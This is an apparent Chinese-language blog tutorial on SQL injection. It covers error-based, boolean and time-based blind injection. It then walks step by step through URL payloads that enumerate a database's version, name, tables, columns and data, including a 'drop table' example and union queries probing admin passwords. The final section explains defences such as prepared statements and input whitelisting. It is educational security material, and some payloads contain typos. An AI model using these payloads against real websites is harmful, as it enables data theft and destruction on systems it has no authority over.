sql注入原理和预防

1. sql注入原理

所谓sql注入,就是通过把sql命令插入到wb表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的sql命令。注入漏洞的本质,就是把用户输入的数据当作代码执行,这里有两个关键条件,第一个是用户能够控制输入,第二个是原本程序要执行的代码,拼接了用户输入的数据。

下面是一个sql注入的典型例子:

var ShipCity;
ShipCity=Request.form("ShipCity");
var sql="select * from OrderTable where ShipCity="'"+ShipCity+"'";

变量ShipCity的值由用户提交,在正常情况下,假如用户输入“Beijing”,那么SQL语句会执行:

SELECT * FROM OrdersTable WHERE ShipCity='Beijing'

但是假如用户输入一段有语义的SQL语句,比如:

Beijing';drop table OrdersTable--

那么SQL语句在实际情况下就会执行:

SELECT * FROM OrdersTable WHERE ShipCity='Beijing';drop table OrdersTable--'

可以看到,原本正常的查询语句变成了一个查询加删除操作,而这个操作是用户构造了恶意数据的结构。

常见的sql注入种类很多,这些sql注入甚至可以提权到服务器,造成很大的危害。下面列举一些常见的sql注入分类。

1.1 错误回显注入

关于回显注入,我自己的理解就是服务器接受了提交得字符串参数,在执行sql语句时发生错误,将错误原因显示到了页面上,但是一般的网站都会避免这种情况,如果你遇到了这种网站,那这个网站的就是在对你敞开大门。错误回显最基础的注入就是单引号【'】

在上图一个搜索界面我输入了【'】,此时查询语句就变成了

SELECT first_name, last_name FROM users WHERE user_id = '''

sql查询语句出错,将结果显示在了页面,直接显示出了数据库是MySql.根据这个特点我们可以直接构造参数来判断是否出错来获取数据库信息了,关于怎么获取在下面会有解释。

1.2 盲注

但是很多时候,web服务器关闭了错误回显,这个时候我们依然可以实现sql注入,对于攻击者来说缺少了非常重要的调试信息,所以攻击者必须找到一个方法来验证SQL语句是否得到执行。

最常见的方法就是构造简单的条件语句,根据页面是否发生变化来判断SQL语句是否得到执行。

比如,一个应用的URL如下:

http://168.192.1.3/items.php?id=2

执行的SQL语句是:

SELECT title ,content FROM items WHERE ID = 2

如果攻击者构造如下的攻击语句:

http://168.192.1.3/items.php?id=2 and 1=2

那么实际上执行的SQL语句就是:

SELECT title ,content FROM items WHERE ID = 2 and 1=2

为了进一步确认注入是否存在,攻击者还必须再次验证这一过程,因为错误页面也可能是SQL屏蔽了不正常的请求语句造成的,而不是执行错误的SQL语句导致的。攻击者可以继续构造如下请求:

http://168.192.1.3/items.php?id=2 and 1=1

当攻击者构造条件【and 1=1】时,如果页面正常返回了,那么说明SQL语句被执行了,这时候就可以判断id参数存在SQL注入漏洞了。

在以上的过程中,虽然服务器关闭了错误回显,但是攻击者通过简单的条件判断,再对比页面返回结果的差异,就可以判断出SQL注入漏洞是否存在,这也就是盲注的工作原理。

常见的注入测试poc

1 or 1=1
1' or '1=1
1" or "1=1

一般情况下,盲注可以分为以下三类:

  • 基于布尔型SQL盲注
  • 基于时间型SQL盲注
  • 基于报错型SQL盲注

1.基于布尔型SQL盲注即在SQL注入过程中,应用程序仅仅返回True(页面)和False(页面)。这时,我们无法根据应用程序的返回页面得到我们需要的数据库信息。但是可以通过构造逻辑判断(比较大小)来得到我们需要的信息。

2.基于时间型SQL盲注,其对应的情况是界面返回值只有一种,无论输入任何值,返回情况都会按正常的来处理。这个时候我们不能判断语句是否被执行,但是如果我们在请求中加入特定的时间函数,通过查看web页面返回的时间差就可以判断语句是否被执行。比如:

http://168.192.1.3/items.php?id=2 and (if(length(database()))>10,sleep(10),null))

如果页面返回时间大于10秒那么说明这个SQL语句被执行了,且database的表名长度大于10,这是一种边信道攻击,也被叫做Timing Attack。

3.基于报错型SQL盲注则是利用了M数据库的函数bug来进行的盲注,使得数据库由于函数的特性返回错误信息,进而我们可以显示我们想要的信息,从而达到注入的效果。

由于rand和group+by的冲突,即rand()是不可以作为order by的条件字段,同理也不可以为group by的条件字段。
floor(rand(0)*2) 获取不确定又重复的值造成mysql的错误
floor:向下取整,只保留整数部分,rand(0) -> 0~1

2. SQL注入攻击技巧

找到SQL注入漏洞,仅仅是一个开始,要实施一次完整的攻击,还有很多的事情需要做。

如果我们手工注入的化,一般过程如下(盲注)

1.判断是否存在注入,注入是字符型还是数字型

2.猜解当前数据库名

3.猜解数据库中的表名

4.猜解表中的字段名

5.猜解数据

以下还是以上述的SQL注入点作为例子(基于bool的盲注):

2.1 猜解数据库版本(判断是否为4)

http://168.192.1.3/items.php?id=2 and subtring(@@version,1,1)=4

2.2 猜解数据库长度

http://168.192.1.3/items.php?id=2 and length(database())=1

http://168.192.1.3/items.php?id=2 and length(database())=2

http://168.192.1.3/items.php?id=2 and length(database())=3

http://168.192.1.3/items.php?id=2 and length(database())=4

如果数据可长度为4,则第四段命令返回为TRUE.

2.3 猜解数据库名(假设数据库长度为4)

http://168.192.1.3/items.php?id=2 and ascii(substr(databse(),1,1))>97
如果返回true,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值)

http://168.192.1.3/items.php?id=2 and ascii(substr(databse(),1,1))<122
显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值)

http://168.192.1.3/items.php?id=2 and ascii(substr(databse(),1,1))<109 
显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母z的ascii值)

后面省略

通过二分法,可以确定数据库第一个字符的ascii码,也就可以查出第一个字符,依次可以查出数据库每个字符,进而获取数据库名。

2.4 猜解数据库中的表的个数

http://168.192.1.3/items.php?id=2  and (select count (table_name) from information_schema.tables where table_schema=database())=1 
# 显示FALSE

http://168.192.1.3/items.php?id=2 and (select count (table_name) from information_schema.tables where table_schema=database() )=2 
# 显示TRUE

说明此数据库有两个表

2.5 依次猜解数据库中的表名

以第一个表为例

http://168.192.1.3/items.php?id=2 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1
#判断第一个表名长度是否为1

http://168.192.1.3/items.php?id=2 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2
#判断第一个表名长度是否为2

依次猜解

猜解出表名长度后再来依次猜解每个字符

http://168.192.1.3/items.php?id=2 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97
第一个字符ascii是否大于97
http://168.192.1.3/items.php?id=2 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122
第一个字符ascii是否小于122

依次进行

可猜解出第一个字符。

重复上述步骤,即可猜解出两个表名。

我们也可以利用union select直接猜表明admin是否存在,列名passwd是否存在。

http://168.192.1.3/items.php?id=2 union all select 1,2,3,from admin

http://168.192.1.3/items.php?id=2 union all select 1,2,passwd form admin

2.6 猜解user表中的字段名

先猜解users中有几个字段

http://168.192.1.3/items.php?id=2 and (select count(column_name) from information_schema.columns where table_name= 'users')=1
#返回FALSE

http://168.192.1.3/items.php?id=2 and (select count(column_name) from information_schema.columns where table_name= 'users')=2
# 返回TRUE

可猜解出users表中有2个字段

接下来猜解各个字段名

http://168.192.1.3/items.php?id=2 and length(substr((select column_name from information_schema.columns where table_name= ‘users’ limit 0,1),1))=1
# FALSE

....

http://168.192.1.3/items.php?id=2 and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 
# TRUE

说明users表的第一个字段为7个字符长度。

采用二分法,即可猜解出所有字段名。

2.7 猜解数据

同样采用二分法。先判断数据长度,再逐个猜解各个字符。

通过以上的方式我们利用了页面返回的false和true就猜解出了数据库的大部分信息,盲注的注入思路都差不多,只是sql语句构造的不同。

实际上还可以通过注入点执行命令,拿到更大的权限,但是手工注入很繁琐,利用sqlmap自动化注入工具可以实现大部分的需求,了解了SQL注入的原理,还需要掌握注入工具的使用。

3. 怎么预防SQL注入

sql注入可能造成很严重的后果,从防御的角度来看,要做的事情就两个:

1.找到所有的sql注入漏洞

2.修补这些漏洞

好吧这是一个废话。那么到底怎么预防sql注入呢?

3.1 使用预编译语句

一般来说,防御SQL注入的最佳方法就是使用预编译语句,绑定变量。使用预编译的SQL语句语义不会发生改变,在SQL语句中,变量用问号?表示,攻击者也无法改变SQL语句的结构,即使攻击者输入类似于 【1'and '1'='2】的字符串,数据库也只会把这个字符串当作id来查询。

在不同的语言中都有使用预编译语句的方法。

#java EE
use PreparedStatement() with bind variables

# .NET
use parameterized queries like SqlCommand() or OleDbCommand with bind variables

# php
use PDO with strongly typed paramenterized queries (using bindParam)

.....

3.2 检查变量数据类型和格式

检查输入数据的输入类型,可以再很大程度上对抗SQL注入。

含义是在用户输入的数据中必须严格按照格式,比如限定id为integer类型,其他类型报错。

但是这种方法并非万能,比如需要输入一段文本的时候,字符串就无法过滤了,需要依靠其他方法。

3.3 过滤特殊符号

对于无法确定固定格式的变量,一定要进行特殊符号过滤或转义处理。保证安全性一般采取基于白名单的过滤,尽可能控制用户输入的选择。

3.4 使用安全函数

一般来说,各种web语言都实现了一些编码函数,可以帮助对抗SQL注入,但是一些编码函数还是存在漏洞,比如mysql基于报错的盲注就是利用的不安全的函数。

最后应该注意最小使用权限原则,避免web应用直接使用root、admin等高权限账户直接连接数据库,防止通过webshell提权,从而造成更大的危害。

4 参考

1.白帽子讲web安全
2.http://www.freebuf.com/articles/web/120747.html

1 + 2 =
快来做第一个评论的人吧~